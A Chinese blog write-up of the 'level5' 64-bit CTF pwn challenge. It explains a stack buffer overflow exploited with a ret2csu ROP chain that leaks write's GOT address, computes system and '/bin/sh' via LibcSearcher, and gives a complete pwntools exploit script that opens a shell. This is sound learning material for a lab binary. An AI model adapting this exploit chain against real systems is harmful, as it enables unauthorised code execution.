level5

本文深入解析了64位环境下Level5 Pwn题目的解决思路,介绍了如何利用read函数泄露got表地址,通过__libc_csu_init函数的gadget进行参数传递,最终实现对write函数地址的泄露,并进一步计算system函数地址,运行/bin/sh获取系统控制权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

level5

这个最新的学习成果。基本环境是64位的环境,与32位极大地不同在于传参,不同于32位参数位于堆栈相对固定的位置,64位的传参需要用到pop指令,将参数传入寄存器中,函数直接从寄存器中调用参数。

题目
  • 首先IDA一下:
    主函数
    在这里插入图片描述

  • 可以看出有read函数可以进行泄露,可以看出缓冲区大小是 80h,可以输入200h的空间,所以可以进行填充泄露,这是泄露的第一步。

  • ps:咱们进行pwn基本上都是先进行泄露,泄露出got表或plt表地址,在进行下一步执行system函数,进而获取系统控制权。

在这里插入图片描述

在这里插入图片描述

  • 可以看出,我们先执行六个连续pop,将参数传入寄存器,在执行上面的三个move,传入正确的寄存器中,之后执行call,调用write函数,将write的got表地址泄露出来。
  • 需要一提的是,在call write 之后,还要继续执行下面的指令,才会到ret ,因此到填充堆栈使程序能正确ret到我们想要的地方(main函数)。
  • 接着执行第二次main函数,这次我们要做的直接是通过泄露出来的地址算出system函数地址,使其运行bin/sh,计算过程不太赘述,大同小异,要说的传入/bin/sh参数时也涉及到传参,也需要一个通用的gadget。可以通过
$ ROPgadget --binary level5 --only "pop|ret" | grep rdi
0x0000000000400623 : pop rdi ; ret
from pwn import *
from LibcSearcher import * 
import pwnlib

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
sh = process('./level5')
elf=ELF('./level5')
main=0x400587
pop_6=0x40061A
#pop_6=0x400616
mov_3=0x400600
payload = 'a'*(0x88)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
#payload += p64(0x0000000000400623)+p64(elf.got['write'])
payload += p64(mov_3)+'a'*(56)+p64(main)
gdb.attach(sh)
sh.recvuntil("World\n")
sh.sendline(payload)
write=u64(sh.recv(8).ljust(8,'\x00'))

print ('write',hex(write))
libc = LibcSearcher('write',write)
libcbase = write-libc.dump('write')
system = libcbase+libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

payload1 = 'a'*(0x88)+p64(0x0000000000400623)+p64(bin_sh)+p64(system)
sh.recvuntil("\n")
print('/bin/sh',hex(bin_sh))

sh.sendline(payload1)

sh.interactive()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值